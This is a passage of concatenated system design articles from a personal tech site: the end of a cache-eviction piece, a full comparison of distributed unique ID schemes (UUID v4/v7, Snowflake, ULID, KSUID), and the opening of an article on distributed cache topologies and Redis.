3. **Approximated algorithms dominate production**: Redis samples keys, Linux uses MGLRU, PostgreSQL uses clock sweep.
4. **Memory overhead varies significantly**: SIEVE uses 1 bit/entry; ARC can double memory for ghost lists.
5. **No single best algorithm**: the optimal choice depends on your access patterns, memory constraints, and operational requirements.
6. **Common pitfalls are preventable**: cache stampede, inconsistency, unbounded growth, and cold starts all have standard solutions.

### References

#### Original Research Papers

- O'Neil, E. J., O'Neil, P. E., & Weikum, G. (1993). [The LRU-K Page Replacement Algorithm For Database Disk Buffering](https://www.cs.cmu.edu/~natassa/courses/15-721/papers/p297-o_neil.pdf). ACM SIGMOD Record, 22(2), 297-306.

- Johnson, T., & Shasha, D. (1994). [2Q: A Low Overhead High Performance Buffer Management Replacement Algorithm](https://www.vldb.org/conf/1994/P439.PDF). VLDB 1994, 439-450.

- Megiddo, N., & Modha, D. S. (2003). [ARC: A Self-Tuning, Low Overhead Replacement Cache](https://www.cs.cmu.edu/~natassa/courses/15-721/papers/arcfast.pdf). USENIX FAST 2003, 115-130.

- Zhang, Y., Yang, J., Yue, Y., Vigfusson, Y., & Rashmi, K.V. (2024). [SIEVE is Simpler than LRU: an Efficient Turn-Key Eviction Algorithm for Web Caches](https://www.usenix.org/conference/nsdi24/presentation/zhang-yazhuo). USENIX NSDI 2024.

- Einziger, G., Friedman, R., & Manes, B. (2017). [TinyLFU: A Highly Efficient Cache Admission Policy](https://dl.acm.org/doi/10.1145/3149371). ACM Transactions on Storage.

#### Patents

- [US Patent 6,996,676](https://patents.google.com/patent/US6996676B2/en) - ARC (IBM). Granted February 7, 2006. **Expired February 22, 2024**.

- [US Patent Application 20060069876](https://patents.google.com/patent/US20060069876A1/en) - CAR (IBM). Filed September 30, 2004.

#### Production Implementations

- [Redis Key Eviction](https://redis.io/docs/latest/develop/reference/eviction/) - Official documentation on approximated LRU.

- [Linux MGLRU Documentation](https://docs.kernel.org/admin-guide/mm/multigen_lru.html) - Kernel documentation for Multi-Generational LRU.

- [PostgreSQL Buffer Manager](https://www.interdb.jp/pg/pgsql08.html) - Detailed explanation of clock sweep algorithm.

- [Caffeine Wiki - Efficiency](https://github.com/ben-manes/caffeine/wiki/Efficiency) - W-TinyLFU benchmarks and design.

- [SIEVE Project Website](https://cachemon.github.io/SIEVE-website/) - Algorithm details and implementations.

#### PostgreSQL History

- [PostgreSQL Mailing List: ARC Patent Discussion](https://www.postgresql.org/message-id/1105941176.22946.36.camel@localhost.localdomain) - Original discussion about patent concerns.

#### Further Reading

- [CMU 15-445 Database Systems](https://15445.courses.cs.cmu.edu/) - Advanced course covering buffer pool management.

- [MDN Web Docs - Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) - ES2015 Map insertion order guarantee.

---

## Unique ID Generation in Distributed Systems

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/unique-id-generation
**Category:** System Design / System Design Building Blocks
**Description:** Designing unique identifier systems for distributed environments: understanding the trade-offs between sortability, coordination overhead, collision probability, and database performance across UUIDs, Snowflake IDs, ULIDs, and KSUIDs.

# Unique ID Generation in Distributed Systems

Designing unique identifier systems for distributed environments: understanding the trade-offs between sortability, coordination overhead, collision probability, and database performance across UUIDs, Snowflake IDs, ULIDs, and KSUIDs.

<figure>

![Decision tree for selecting unique ID generation strategy based on system requirements](./decision-tree-for-selecting-unique-id-generation-strategy-based-on-system-requir.svg)

<figcaption>Decision tree for selecting unique ID generation strategy based on system requirements</figcaption>

</figure>

## Abstract

Unique identifier generation in distributed systems is fundamentally a trade-off problem with no universal solution. The core tension is between **coordination** (which guarantees uniqueness but creates bottlenecks) and **randomness** (which scales infinitely but offers probabilistic uniqueness). Time-based schemes like Snowflake split the difference by using timestamps for approximate ordering while partitioning the ID space by machine ID to eliminate coordination.

The key mental model:

- **Random IDs (UUID v4)**: Infinite throughput, zero coordination, but destroy B-tree locality and are unsortable
- **Time-ordered IDs (UUID v7, Snowflake, ULID)**: Natural chronological ordering, excellent index performance, but leak creation time
- **Coordinated IDs (database sequences)**: Perfect ordering, but single point of failure that doesn't scale

The database performance impact is not theoretical—random UUIDs cause 500× more B-tree page splits than sequential IDs. Companies migrating from UUID v4 to v7 report 50% reductions in write I/O.

As of May 2024, RFC 9562 standardizes UUID v7 as the recommended approach for new systems: time-ordered, coordination-free, and database-friendly.

## The Core Problem: Uniqueness Without Coordination

In a single-database system, `AUTO_INCREMENT` solves ID generation trivially—a centralized counter guarantees uniqueness. Distributed systems break this model. When writes happen across multiple nodes, data centers, or even multiple processes on one machine, you need IDs that are:

1. **Globally unique** without a central coordinator
2. **Fast to generate** (microsecond latency, millions per second)
3. **Compact** (fit in a database column efficiently)
4. **Optionally sortable** by creation time

The design space splits into three fundamental approaches:

| Approach                          | Uniqueness Guarantee                      | Coordination          | Throughput     | Sortability   |
| --------------------------------- | ----------------------------------------- | --------------------- | -------------- | ------------- |
| **Random** (UUID v4)              | Probabilistic (2^-122 collision per pair) | None                  | Unlimited      | None          |
| **Time + Partition** (Snowflake)  | Deterministic (machine ID + sequence)     | Machine ID assignment | ~4M/sec/worker | Chronological |
| **Time + Random** (UUID v7, ULID) | Probabilistic within millisecond          | None                  | Unlimited      | Chronological |

## Design Choices

### Option 1: Random UUIDs (UUID v4)

**Mechanism:** Generate 122 bits of cryptographically secure randomness, set 6 bits for version (4) and variant (RFC 4122). No timestamp, no machine ID, no coordination.

```
xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx
         │    │    │
         │    │    └── Variant bits (y = 8, 9, a, or b)
         │    └─────── Version 4
         └──────────── 122 bits of randomness
```

**Best when:**

- Public-facing IDs where you want no information leakage
- Distributed systems with no ability to coordinate machine IDs
- ID generation happens infrequently (read-heavy workloads)
- You can tolerate poor database write performance

**Trade-offs:**

- ✅ Zero coordination overhead
- ✅ Infinite horizontal scalability
- ✅ No information leakage (creation time, machine, sequence)
- ✅ Simple to implement—most languages have built-in support
- ❌ Unsortable—no temporal ordering
- ❌ Catastrophic B-tree performance (random insertion points)
- ❌ 128 bits (36 characters as string)—larger than necessary

**Real-world example:** Many early SaaS applications used UUID v4 for all primary keys. As datasets grew to tens of millions of rows, write performance degraded significantly. One company observed 5,000-10,000 B-tree page splits per million inserts (vs. 10-20 for sequential IDs), leading to index bloat and slow writes.

### Option 2: UUID v7 (Time-Ordered, RFC 9562)

**Mechanism:** 48-bit Unix timestamp (milliseconds) in the most significant bits, followed by 74 bits of randomness. The timestamp placement makes UUIDs naturally sortable by creation time.

```
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
├─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┤
│                         unix_ts_ms (32 bits)                  │
├─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┤
│  unix_ts_ms (16 bits) │ ver │      rand_a (12 bits)           │
├─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┤
│var│                    rand_b (62 bits)                       │
├─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┤
│                        rand_b (32 bits)                       │
└───────────────────────────────────────────────────────────────┘
```

**Best when:**

- New systems where you control the tech stack
- Need time-based ordering without coordination
- Database write performance matters
- Want RFC standardization and broad library support

**Trade-offs:**

- ✅ Chronologically sortable (lexicographic sort = time sort)
- ✅ No coordination required
- ✅ Excellent B-tree performance (sequential-ish inserts)
- ✅ RFC 9562 standardized (May 2024)
- ✅ No MAC address leakage (unlike UUID v1/v6)
- ❌ Millisecond precision only (multiple IDs per ms have random order among themselves)
- ❌ Leaks approximate creation time
- ❌ Still 128 bits (larger than Snowflake's 64)

**Real-world example:** Buildkite migrated from sequential integers to UUID v7 for their distributed architecture. The time-ordering preserved their ability to sort by creation while eliminating the single-database bottleneck. PostgreSQL 18 adds native `uuidv7()` function with optional sub-millisecond precision using the `rand_a` field as a counter.

### Option 3: Snowflake IDs (Twitter's Design)

**Mechanism:** 64-bit ID divided into timestamp (41 bits), machine/worker ID (10 bits), and sequence number (12 bits). The machine ID is assigned at deployment time; the sequence increments within each millisecond.

```
┌──────────────────────────────────────────────────────────────────┐
│ 0 │     41 bits: timestamp (ms since epoch)    │ 10 │   12     │
│   │                                            │bits│  bits    │
│ ↑ │              ~69 years of IDs              │ ↑  │   ↑      │
│   │                                            │    │          │
│sign│         milliseconds since custom epoch    │node│ sequence │
│bit │                                            │ ID │  number  │
└──────────────────────────────────────────────────────────────────┘
```

**Best when:**

- Need 64-bit IDs (half the storage of UUIDs)
- Can coordinate machine/worker ID assignment
- High throughput requirements (millions of IDs/second)
- Strict monotonic ordering within a node matters

**Trade-offs:**

- ✅ Compact 64 bits (fits in `BIGINT`)
- ✅ Strictly monotonic within a worker
- ✅ High throughput: 4,096 IDs/ms/worker = ~4M IDs/sec/worker
- ✅ Time-sortable
- ❌ Requires machine ID coordination (ZooKeeper, config management)
- ❌ Clock skew can cause issues (blocking or duplicate IDs)
- ❌ Limited to ~1,024 workers without bit reallocation
- ❌ Custom epoch creates ecosystem fragmentation

**Real-world example:** Twitter created Snowflake in 2010 when migrating from MySQL to Cassandra. "There is no sequential id generation facility in Cassandra, nor should there be." They needed "tens of thousands of ids per second in a highly available manner" with IDs that are "roughly sortable."

**Variants:**

| Company       | Timestamp | Node/Shard       | Sequence | Epoch      |
| ------------- | --------- | ---------------- | -------- | ---------- |
| **Twitter**   | 41 bits   | 10 bits (worker) | 12 bits  | 2010-11-04 |
| **Discord**   | 41 bits   | 10 bits (worker) | 12 bits  | 2015-01-01 |
| **Instagram** | 41 bits   | 13 bits (shard)  | 10 bits  | Custom     |

Instagram's variant uses more shard bits (8,192 shards vs. 1,024 workers) at the cost of fewer sequences per shard (1,024 vs. 4,096 per millisecond).

### Option 4: ULID (Universally Unique Lexicographically Sortable Identifier)

**Mechanism:** 48-bit timestamp (milliseconds) + 80 bits of cryptographic randomness, encoded as 26 characters using Crockford's Base32.

```
 01AN4Z07BY      79KA1307SR9X4MV3
|----------|    |----------------|
 Timestamp          Randomness
  48 bits            80 bits
```

**Best when:**

- Need compact string representation (26 chars vs. UUID's 36)
- Human-readable/typeable IDs matter
- Want monotonicity within the same millisecond
- Don't need RFC standardization

**Trade-offs:**

- ✅ Compact: 26 characters (vs. UUID's 36)
- ✅ Case-insensitive, URL-safe, no special characters
- ✅ Monotonic within millisecond (random bits increment)
- ✅ Crockford Base32 excludes ambiguous characters (I, L, O, U)
- ❌ Not RFC standardized (community spec)
- ❌ Less library support than UUIDs
- ❌ 128 bits (same size as UUID in binary)

**Real-world example:** ULID gained popularity in JavaScript ecosystems where the shorter string representation reduces storage and bandwidth. The monotonicity guarantee within a millisecond—achieved by incrementing the random portion—provides better database locality than pure random approaches.

### Option 5: KSUID (K-Sortable Unique Identifier)

**Mechanism:** 32-bit timestamp (seconds) + 128 bits of cryptographic randomness, totaling 160 bits. Encoded as 27 Base62 characters.

```
┌──────────────────────────────────────────────────────────┐
│  32 bits: timestamp    │  128 bits: random payload      │
│  (seconds since epoch) │  (cryptographic randomness)    │
└──────────────────────────────────────────────────────────┘
         4 bytes                    16 bytes
                    = 20 bytes total
```

**Best when:**

- Need higher collision resistance than UUID (128 vs. 122 random bits)
- Second-precision timestamps are sufficient
- Want natural shell/CLI sorting (`sort` command works correctly)

**Trade-offs:**

- ✅ 128 bits of entropy (64× more collision resistance than UUID v4)
- ✅ Shell-sortable (both binary and text representations)
- ✅ Simple implementation
- ❌ Larger than UUID (160 bits vs. 128)
- ❌ Second precision only (coarser than millisecond)
- ❌ Less widely adopted

**Real-world example:** Segment created KSUID when they "began using UUID Version 4 for generating unique identifiers, but after a requirement to order these identifiers by time emerged, KSUID was born." The 128-bit random payload exceeds UUID v4's 122 bits "by 64×, making collisions physically infeasible."

### Option 6: Database Sequences

**Mechanism:** Centralized counter managed by the database. PostgreSQL uses `SEQUENCE` objects; MySQL uses `AUTO_INCREMENT`.

**Best when:**

- Single database (no sharding)
- Need strictly monotonic IDs with no gaps
- Regulatory requirements mandate sequential numbering
- Write throughput is moderate (< 10K inserts/sec)

**Trade-offs:**

- ✅ Perfect ordering (no gaps in typical usage)
- ✅ Minimal storage (32 or 64 bits)
- ✅ Native database support
- ❌ Single point of failure
- ❌ Doesn't scale across shards/regions
- ❌ Network round-trip for each ID (can be batched)

**Real-world example:** Flickr's "Ticket Servers" used MySQL's `REPLACE INTO` with `LAST_INSERT_ID()` for distributed ID generation. To achieve high availability, they ran two ticket servers dividing the ID space—one handling even IDs, the other handling odd IDs.

## Factors Influencing Design Choices

### Factor 1: Database Write Performance

The impact of ID randomness on B-tree indexes is severe and measurable:

| ID Type                     | Page Splits per 1M Inserts | Relative WAL Volume |
| --------------------------- | -------------------------- | ------------------- |
| Sequential (AUTO_INCREMENT) | ~10-20                     | 1× (baseline)       |
| UUID v7 / Snowflake / ULID  | ~50-100                    | 1.1-1.2×            |
| UUID v4 (random)            | 5,000-10,000+              | 2-3×                |

**Why it matters:** B-tree indexes store data in sorted order. Sequential IDs insert at the end of the tree, reusing the same leaf pages. Random IDs insert at arbitrary positions, causing:

1. **Page splits**: When a leaf page is full and a new value lands in it, the page splits in half
2. **Index bloat**: Split pages are only ~50% full initially
3. **Write amplification**: More pages modified = more WAL writes = more I/O

One company reported a **50% reduction in WAL rate** after migrating from UUID v4 to UUID v7.

### Factor 2: Sortability Requirements

| Requirement                 | Recommended Approach                |
| --------------------------- | ----------------------------------- |
| No sorting needed           | UUID v4                             |
| Sort by creation time       | UUID v7, Snowflake, ULID            |
| Strict ordering within node | Snowflake (sequence guarantees)     |
| Approximate time ordering   | UUID v7, ULID                       |
| Sort by arbitrary criteria  | UUID v4 + separate timestamp column |

### Factor 3: Coordination Overhead

| Approach           | Coordination Required                                      |
| ------------------ | ---------------------------------------------------------- |
| UUID v4, v7        | None                                                       |
| ULID, KSUID        | None                                                       |
| Snowflake          | Machine ID assignment (1,024 max with standard allocation) |
| Database sequences | Central database connection                                |

For Snowflake, machine ID assignment typically uses:

- **Static configuration**: Machine IDs in config files or environment variables
- **ZooKeeper/etcd**: Dynamic assignment with leader election
- **Database table**: Claim a machine ID on startup with row-level locking
- **Kubernetes**: Use pod ordinal from StatefulSet

### Factor 4: Size Constraints

| Format     | Binary Size | String Size | Database Type         |
| ---------- | ----------- | ----------- | --------------------- |
| Snowflake  | 64 bits     | 19 chars    | BIGINT                |
| UUID v4/v7 | 128 bits    | 36 chars    | UUID / CHAR(36)       |
| ULID       | 128 bits    | 26 chars    | CHAR(26) / BINARY(16) |
| KSUID      | 160 bits    | 27 chars    | CHAR(27) / BINARY(20) |

The 64-bit vs. 128-bit difference matters at scale:

- **Index size**: 64-bit keys use half the memory in B-tree nodes
- **Join performance**: Smaller keys = more keys per cache line
- **Storage**: At 1 billion rows, 8 bytes vs. 16 bytes = 8 GB difference in primary key storage alone

### Factor 5: Information Leakage

| Format    | Leaks Creation Time    | Leaks Machine Info |
| --------- | ---------------------- | ------------------ |
| UUID v1   | Yes (100-ns precision) | Yes (MAC address)  |
| UUID v4   | No                     | No                 |
| UUID v6   | Yes (100-ns precision) | Yes (MAC address)  |
| UUID v7   | Yes (ms precision)     | No                 |
| Snowflake | Yes (ms precision)     | Yes (worker ID)    |
| ULID      | Yes (ms precision)     | No                 |
| KSUID     | Yes (second precision) | No                 |

**Security consideration:** UUID v1/v6 leak MAC addresses. The Melissa virus author was identified partly through UUID v1 metadata. Modern systems should avoid v1/v6 for public-facing IDs.

Time leakage allows attackers to:

- Enumerate objects created in a time range
- Estimate system load (IDs per second)
- Determine account creation dates

If these are concerns, use UUID v4 or add a layer of encryption/hashing.

## Real-World Case Studies

### Discord: Snowflake for Everything

**Problem:** Discord needed globally unique, sortable IDs at 100K+ messages/second across thousands of servers.

**Rejected approaches:**

1. **UUIDs**: Not sortable, poor index locality for their message-heavy workload
2. **Database sequences**: Single point of failure, couldn't scale to their throughput

**Chosen approach:** Twitter Snowflake variant with epoch set to January 1, 2015 (`1420070400000`).

**Implementation details:**

- Uses Snowflakes for message IDs, user IDs, server IDs—everything
- Supports "upwards of 10,000 unique generations per second on commodity hardware"
- Worker IDs assigned through configuration management
- Custom epoch means Discord's IDs are smaller numbers than Twitter's for the same wall-clock time

**Trade-off accepted:** Machine ID coordination overhead (managed via their infrastructure automation).

### Instagram: Sharded Snowflake Variant

**Problem:** Needed IDs that work across PostgreSQL shards while maintaining time-ordering.

**Chosen approach:** Modified Snowflake with larger shard ID space:

- 41 bits: timestamp (milliseconds since custom epoch)
- 13 bits: shard ID (8,192 possible shards)
- 10 bits: sequence (1,024 IDs per shard per millisecond)

**Key insight:** Instagram trades per-shard throughput (1,024 vs. Twitter's 4,096 IDs/ms) for a larger shard namespace. Their workload has many shards with moderate write rates rather than few workers with high write rates.

### PostgreSQL: Native UUID v7 in Version 18

**Problem:** Developers using UUID v4 as primary keys suffered severe write performance degradation.

**Solution:** PostgreSQL 18 (expected 2025) adds native `uuidv7()` function:

```sql
SELECT uuidv7();
-- Returns: 019011d3-33a6-7000-8000-57d7a8d3ce88
```

**Implementation detail:** Uses the `rand_a` field (12 bits) as a sub-millisecond counter, providing 4,096 monotonically increasing UUIDs per millisecond. This matches Snowflake's sequence capacity while requiring no coordination.

**Migration path:** For existing systems on UUID v4, the change is straightforward:

```sql
-- Before
ALTER TABLE users ALTER COLUMN id SET DEFAULT gen_random_uuid();

-- After
ALTER TABLE users ALTER COLUMN id SET DEFAULT uuidv7();
```

Existing v4 UUIDs remain valid—they just won't sort chronologically.

## Common Pitfalls

### Pitfall 1: Using UUID v4 for Write-Heavy Tables

**The mistake:** Choosing UUID v4 for "simplicity" on tables with millions of inserts per day.

**Why it happens:** UUID v4 is the default in many ORMs and frameworks. It works fine in development and early production.

**The consequence:** As the table grows past 10-100 million rows, write latency increases, disk I/O spikes, and vacuum/analyze times explode. The B-tree index becomes fragmented with half-full pages scattered across disk.

**The fix:** Use UUID v7 (or Snowflake/ULID) for any table expecting significant write volume. The time-ordered nature keeps inserts at the "hot" end of the index.

### Pitfall 2: Clock Skew in Snowflake Implementations

**The mistake:** Assuming system clocks are always monotonic.

**Why it happens:** NTP corrections, VM migrations, leap seconds, and manual clock adjustments can move the clock backward.

**The consequence:** If a Snowflake generator uses a timestamp from the past:

- **Best case:** Sequence collision with IDs generated earlier at that timestamp
- **Worst case:** Duplicate IDs if the sequence wraps

**The fix:**

```ts
function generateSnowflake(
  lastTimestamp: bigint,
  sequence: number,
): { id: bigint; newTimestamp: bigint; newSequence: number } {
  let timestamp = BigInt(Date.now() - EPOCH)

  if (timestamp < lastTimestamp) {
    // Clock moved backward - wait or throw
    const drift = lastTimestamp - timestamp
    if (drift < 10n) {
      // Small drift: busy-wait
      while (timestamp <= lastTimestamp) {
        timestamp = BigInt(Date.now() - EPOCH)
      }
    } else {
      // Large drift: fail fast
      throw new Error(`Clock moved backward by ${drift}ms`)
    }
  }

  // ... rest of generation logic
}
```

Discord handles this by blocking until the clock catches up for small drifts (< 10ms) and failing fast for larger anomalies.

### Pitfall 3: Assuming UUIDs Never Collide

**The mistake:** Treating UUID collisions as impossible and not handling them.

**Why it happens:** The math is reassuring—2^122 random bits means astronomically low collision probability.

**The consequence:** At sufficient scale, collisions do happen:

- Weak random number generators (non-cryptographic, predictable seeds)
- VM cloning with duplicated entropy pools
- Bugs in UUID libraries
- Birthday paradox at extreme scale (~2^61 UUIDs for 50% collision chance)

**The fix:** Always use `INSERT ... ON CONFLICT` or equivalent upsert semantics. Treat the unique constraint as the source of truth:

```sql
INSERT INTO users (id, email, name)
VALUES (gen_random_uuid(), 'user@example.com', 'Alice')
ON CONFLICT (id) DO NOTHING
RETURNING id;

-- If returned id is NULL, collision occurred - retry with new UUID
```

### Pitfall 4: Exposing Snowflake Worker IDs

**The mistake:** Using sequential worker IDs (0, 1, 2...) that reveal infrastructure topology.

**Why it happens:** Simple implementations assign worker IDs from a counter or config file.

**The consequence:** Attackers can enumerate your worker count, identify which datacenter generated an ID, and potentially correlate IDs to specific servers.

**The fix:** Hash the worker ID or use random assignment within the available space:

```ts
// Instead of: workerId = serverIndex % 1024
// Use: workerId = hash(serverName + deploymentSecret) % 1024
```

## How to Choose

![Diagram](./diagram-1.svg)

**Default recommendation (2024+):** UUID v7 for most new systems. It provides time-ordering, excellent database performance, RFC standardization, and requires no coordination.

**Use Snowflake when:**

- 64-bit IDs are required (legacy systems, specific database constraints)
- You need maximum throughput (> 1M IDs/sec/node)
- Strict monotonicity within a process matters
- You have infrastructure for machine ID coordination

**Use UUID v4 when:**

- IDs are public and you need zero information leakage
- Write volume is low enough that index performance doesn't matter
- Migrating existing systems where UUIDs are already in use

## Conclusion

The unique ID generation landscape has matured significantly. For most distributed systems built today, **UUID v7** is the right default—it combines the best properties of random UUIDs (no coordination) and Snowflake IDs (time-ordering) with RFC standardization and broad library support.

The key insight is that ID generation is fundamentally about **where you pay the coordination cost**:

- **Random IDs**: No coordination at generation time, but you pay at query time (poor index locality)
- **Time-ordered IDs**: Coordination implicit in synchronized clocks, but you gain efficient database operations
- **Partitioned IDs (Snowflake)**: Explicit coordination of machine IDs, but guaranteed uniqueness and highest throughput

Understand these trade-offs, measure your workload characteristics, and choose accordingly. The 50% write I/O reduction from switching to time-ordered IDs is not theoretical—it's consistently observed in production migrations.

## Appendix

### Prerequisites

- Understanding of B-tree index structures and page splits
- Familiarity with distributed systems concepts (coordination, partitioning)
- Basic probability (birthday paradox for collision calculations)

### Terminology

- **UUID (Universally Unique Identifier)**: 128-bit identifier standardized in RFC 9562 (formerly RFC 4122)
- **Snowflake ID**: 64-bit time-ordered identifier design originated at Twitter
- **ULID (Universally Unique Lexicographically Sortable Identifier)**: 128-bit identifier using Crockford Base32 encoding
- **KSUID (K-Sortable Unique Identifier)**: 160-bit identifier created by Segment
- **Epoch**: Reference timestamp from which time-based IDs count (e.g., Unix epoch = 1970-01-01)
- **Monotonic**: Strictly increasing—each generated ID is greater than all previous IDs

### Summary

- **UUID v7** is the recommended default for new systems (RFC 9562, May 2024)
- **Random UUIDs (v4)** cause 500× more B-tree page splits than sequential IDs
- **Snowflake** remains optimal for 64-bit requirements and maximum throughput (~4M IDs/sec/worker)
- **Clock skew** is the primary failure mode for time-based ID generators
- **Information leakage** from timestamps is acceptable for most internal IDs but not for public-facing ones

### References

#### Specifications

- [RFC 9562 - Universally Unique IDentifiers (UUIDs)](https://www.rfc-editor.org/rfc/rfc9562.html) - The authoritative UUID specification (May 2024), obsoleting RFC 4122. Defines UUID v1-v8 including the new time-ordered v7.
- [ULID Specification](https://github.com/ulid/spec) - Community specification for Universally Unique Lexicographically Sortable Identifiers.
- [KSUID Specification](https://github.com/segmentio/ksuid) - Segment's K-Sortable Unique Identifier design and reference implementation.

#### Original Design Documents

- [Announcing Snowflake](https://blog.x.com/engineering/en_us/a/2010/announcing-snowflake) - Twitter Engineering's original blog post (November 2010) introducing the Snowflake ID system.
- [Ticket Servers: Distributed Unique Primary Keys on the Cheap](https://code.flickr.net/2010/02/08/ticket-servers-distributed-unique-primary-keys-on-the-cheap/) - Flickr's approach to distributed ID generation using MySQL ticket servers.

#### Implementation References

- [UUIDv7 in PostgreSQL 18](https://www.postgresql.org/docs/18/functions-uuid.html) - PostgreSQL documentation for native UUID v7 support.
- [Discord Snowflake Documentation](https://discord.com/developers/docs/reference#snowflakes) - Discord's developer documentation explaining their Snowflake implementation.

#### Performance Analysis

- [Goodbye Integers, Hello UUIDs - Buildkite](https://buildkite.com/resources/blog/goodbye-integers-hello-uuids/) - Case study on migrating from sequential integers to UUIDs in a distributed system.
- [Random UUID Damage to B-tree Performance](https://thehellmaker.com/blog/random-uuid-damage-btree-performance/) - Detailed analysis of how random UUIDs cause B-tree fragmentation.

---

## Distributed Cache Design

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/distributed-cache-design
**Category:** System Design / System Design Building Blocks
**Description:** Distributed caching is the backbone of high-throughput systems. This article covers cache topologies, partitioning strategies, consistency trade-offs, and operational patterns—with design reasoning for each architectural choice.

# Distributed Cache Design

Distributed caching is the backbone of high-throughput systems. This article covers cache topologies, partitioning strategies, consistency trade-offs, and operational patterns—with design reasoning for each architectural choice.

<figure>

![Multi-tier caching architecture: L1 per-instance caches backed by distributed cache cluster with replica nodes. Consistent hashing routes keys; cache misses fall through to the database.](./multi-tier-caching-architecture-l1-per-instance-caches-backed-by-distributed-cac.svg)

<figcaption>Multi-tier caching architecture: L1 per-instance caches backed by distributed cache cluster with replica nodes. Consistent hashing routes keys; cache misses fall through to the database.</figcaption>
</figure>

## Abstract

Distributed caching trades memory for latency by storing frequently accessed data closer to computation. The core design decisions are:

- **Topology**: Embedded (in-process) vs. client-server (external) vs. distributed cluster—determines failure domain, consistency model, and operational complexity
- **Partitioning**: Hash-based (consistent hashing, hash slots) vs. range-based—determines data distribution and query patterns
- **Replication**: Synchronous (strong consistency, higher latency) vs. asynchronous (eventual consistency, lower latency)—determines durability guarantees during failures
- **Invalidation**: TTL, explicit delete, write-through, write-behind—each has different staleness windows and failure modes

The fundamental trade-off: **consistency vs. availability vs. partition tolerance** (CAP). Caches typically sacrifice consistency for availability—serving stale data is preferable to serving errors. Design for eventual consistency and explicit staleness bounds.

## Cache Topologies

### Design Choices

#### Embedded (In-Process) Cache

**How it works:** Cache lives inside the application process. Data stored in application heap memory. No network hop for reads.

**Best when:**

- Sub-microsecond latency required (L1 CPU cache locality)
- Data is read-heavy with infrequent updates
- Application instances can tolerate inconsistent views
- Memory footprint is bounded and predictable

**Trade-offs:**

- ✅ Fastest possible access (~100ns vs. ~100μs network)
- ✅ No external dependency; survives network partitions
- ✅ Zero serialization overhead
- ❌ Memory duplicated across instances (N instances = N copies)
- ❌ Invalidation requires coordination (pub/sub, gossip)
- ❌ Cache size limited by process heap
- ❌ Cold starts require warm-up

**Real-world example:** Guava Cache, Caffeine (JVM). Discord uses per-instance L1 caches for guild metadata—accepting 5-second staleness in exchange for eliminating Redis round-trips for hot data. Result: P99 latency dropped from 12ms to 0.5ms for guild lookups.

#### Client-Server (External) Cache

**How it works:** Dedicated cache servers (Redis, Memcached) accessed over network. Application is a client; cache is a separate service.

**Best when:**

- Multiple applications share cached data
- Cache dataset exceeds single-instance memory
- Need TTL, eviction policies, data structures managed externally
- Operational separation between app and cache lifecycle

**Trade-offs:**

- ✅ Single source of truth (no cross-instance inconsistency)
- ✅ Scales independently of application tier
- ✅ Rich data structures (sorted sets, lists, hashes)
- ✅ Built-in expiration and eviction
- ❌ Network latency (~100-500μs per operation)
- ❌ Serialization/deserialization cost
- ❌ External dependency (cache failure affects all apps)
- ❌ Connection pool management complexity

**Real-world example:** Instagram uses Memcached as the primary cache tier, accessed via mcrouter for consistent hashing. A single Memcached cluster serves billions of like counts, user profiles, and session data—with sub-millisecond P50 latency.

#### Distributed Cache Cluster

**How it works:** Multiple cache nodes form a cluster. Data partitioned across nodes via consistent hashing or hash slots. Replication provides fault tolerance.

**Best when:**

- Dataset exceeds single-node memory (100GB+)
- Throughput exceeds single-node capacity (>100K ops/sec)
- High availability required (no single point of failure)
- Horizontal scaling is a requirement

**Trade-offs:**

- ✅ Horizontal scaling (add nodes = more capacity)
- ✅ Fault tolerance via replication
- ✅ No single point of failure
- ❌ Increased operational complexity (cluster management)
- ❌ Cross-slot operations limited or expensive
- ❌ Network partitions can cause split-brain
- ❌ Rebalancing during topology changes

**Real-world example:** Uber's CacheFront handles 150M+ reads/second across a Redis Cluster. Partitioned by entity ID (independent of database sharding). Circuit breakers detect unhealthy nodes; 99.9% cache hit rate with sub-5ms latency.

### Decision Matrix

| Factor               | Embedded       | Client-Server   | Distributed Cluster |
| -------------------- | -------------- | --------------- | ------------------- |
| Latency              | ~100ns         | ~100-500μs      | ~100-500μs          |
| Dataset size         | < 1GB          | < 100GB         | Terabytes+          |
| Throughput           | Process-bound  | 1M+ ops/sec     | 10M+ ops/sec        |
| Consistency          | Per-instance   | Single instance | Eventual            |
| Operational overhead | None           | Low-Medium      | Medium-High         |
| Failure blast radius | Single process | All clients     | Partial (replicas)  |
| Cross-app sharing    | No             | Yes             | Yes                 |
| Memory efficiency    | Duplicated     | Shared          | Shared + replicated |

### Hybrid Architecture: L1 + L2

Production systems typically combine topologies:

```
Request → L1 (Embedded, ~100ns) → L2 (Distributed, ~500μs) → Database (~5ms)
```

**L1 (per-instance):**

- Small (100MB-1GB), hot data only
- Short TTL (seconds to minutes)
- No coordination; eventual consistency acceptable

**L2 (distributed cluster):**

- Large (terabytes), full working set
- Longer TTL (minutes to hours)
- Source of truth for cached data

**Invalidation flow:** Database write → invalidate L2 → L2 broadcasts to L1 instances (pub/sub) or L1 TTL expires naturally.

Meta's architecture follows this pattern: application-local caches (seconds TTL) backed by Memcached clusters (minutes TTL), with invalidation streams propagating deletes across regions.

## Redis Architecture

### Single-Threaded Event Loop

Redis executes all commands on a single thread. This is a deliberate design choice, not a limitation.

**Why single-threaded?**

1. **No synchronization overhead**: Increment operations (INCR), list pushes (LPUSH), and atomic operations require no locks. The single thread guarantees sequential execution.

